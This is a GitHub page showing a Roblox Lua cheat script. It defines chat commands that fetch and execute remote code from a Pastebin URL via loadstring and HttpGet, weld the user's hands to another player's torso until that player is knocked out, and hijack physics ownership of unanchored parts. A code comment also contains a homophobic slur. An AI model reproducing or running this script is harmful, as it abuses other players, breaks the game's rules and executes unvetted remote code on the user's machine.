-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathArevalaWinningEz
137 lines (127 loc) · 4.79 KB
/
ArevalaWinningEz
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
local prefix = "."
local LPlayer = game.Players.LocalPlayer
LPlayer.Chatted:Connect(function(msg)
msg = msg:lower()
if string.sub(msg,1,3) == "/e " then
msg = string.sub(msg,4)
end
if string.sub(msg,1,1) == prefix then
local cmd
local space = string.find(msg," ")
if space then
cmd = string.sub(msg,2,space-1)
else
cmd = string.sub(msg,2)
end
if cmd == "login" then
loadstring(game:HttpGet(('https://pastebin.com/raw/bC4TKyv7'),true))()
end
if cmd == "view" then
local var = string.sub(msg,space+1)
local target = GetPlayer(var)
game.Workspace.CurrentCamera.CameraSubject = target.Character.Humanoid
end
if cmd == "unview" then
game.Workspace.CurrentCamera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
end
if cmd == "partfollow" then
--[[ FE Unanchored Parts Follow
Script made by Cyclically | Credits to dhruvil123 for a few parts of the script
also credits to "Discordgotbanned" in discord for giving me motivation to fix this script
https://v3rmillion.net/member.php?action=profile&uid=785986
Don't edit script unless you know what you're doing. If you wanna add this into a script
the floating unanchored parts around u will stop floating when a player is near but it will come back when they get far away again, this is due roblox's gay ass networkownershit
]]
local LocalPlayer = game:GetService("Players").LocalPlayer
local unanchoredparts = {}
local movers = {}
for index, part in pairs(workspace:GetDescendants()) do
if part:IsA("Part") and part.Anchored == false and part:IsDescendantOf(LocalPlayer.Character) == false then
table.insert(unanchoredparts, part)
if part:FindFirstChildOfClass("BodyPosition") ~= nil then
part:FindFirstChildOfClass("BodyPosition"):Destroy()
end
end
end
for index, part in pairs(unanchoredparts) do
local mover = Instance.new("BodyPosition", part)
table.insert(movers, mover)
mover.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
end
repeat
for index, mover in pairs(movers) do
mover.Position = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame:PointToWorldSpace(Vector3.new(0, 0, 5))
end
wait(0.5)
until LocalPlayer.Character:FindFirstChild("Humanoid").Health <= 0
for _, mover in pairs(movers) do
mover:Destroy()
end
end
if cmd == "targ" then
local var = string.sub(msg,space+1)
local target = GetPlayer(var)
local localPlayer = game:GetService("Players").LocalPlayer
local localCharacter = localPlayer.Character
if target and target.Character.BodyEffects['K.O'].Value == false then
pcall(function()
game.Players.LocalPlayer.Character.LeftHand.Size = Vector3.new(4,4,4)
localCharacter.LeftHand.LeftWrist:Destroy()
localCharacter.RightHand.RightWrist:Destroy()
game.Players.LocalPlayer.Character.RightHand.Size = Vector3.new(4,4,4)
end)
repeat
wait()
localCharacter.LeftHand.CFrame = target.Character.LowerTorso.CFrame
localCharacter.RightHand.CFrame = target.Character.LowerTorso.CFrame
until target.Character.BodyEffects['K.O'].Value == true
elseif target.Character.BodyEffects['K.O'].Value == true then
end
end
if cmd == "moneygravity" then
spawn(function()
while true do
game.Players.LocalPlayer.MaximumSimulationRadius = math.pow(math.huge,math.huge)*math.huge
game.Players.LocalPlayer.SimulationRadius = math.pow(math.huge,math.huge)*math.huge
game:GetService("RunService").Stepped:wait()
end
end)
local function zeroGrav(part)
if part:FindFirstChild("BodyForce") then return end
local temp = Instance.new("BodyForce")
temp.Force = part:GetMass() * Vector3.new(0,workspace.Gravity,0)
temp.Parent = part
end
for i,v in ipairs(workspace:GetDescendants()) do
if v:IsA("Part") and v.Anchored == false then
if not (v:IsDescendantOf(game.Players.LocalPlayer.Character)) then
zeroGrav(v)
end
end
end
workspace.DescendantAdded:Connect(function(part)
if part:IsA("Part") and part.Anchored == false then
if not (part:IsDescendantOf(game.Players.LocalPlayer.Character)) then
zeroGrav(part)
end
end
end)
end
end
end)
function GetPlayer(String)
local plr
local strl = String:lower()
for i, v in pairs(game:GetService("Players"):GetPlayers()) do
if v.Name:lower():sub(1, #String) == String:lower() then
plr = v
end
end
if String == "me" then
plr = game.Players.LocalPlayer
end
if String == "" or String == " " then
plr = nil
end
return plr
end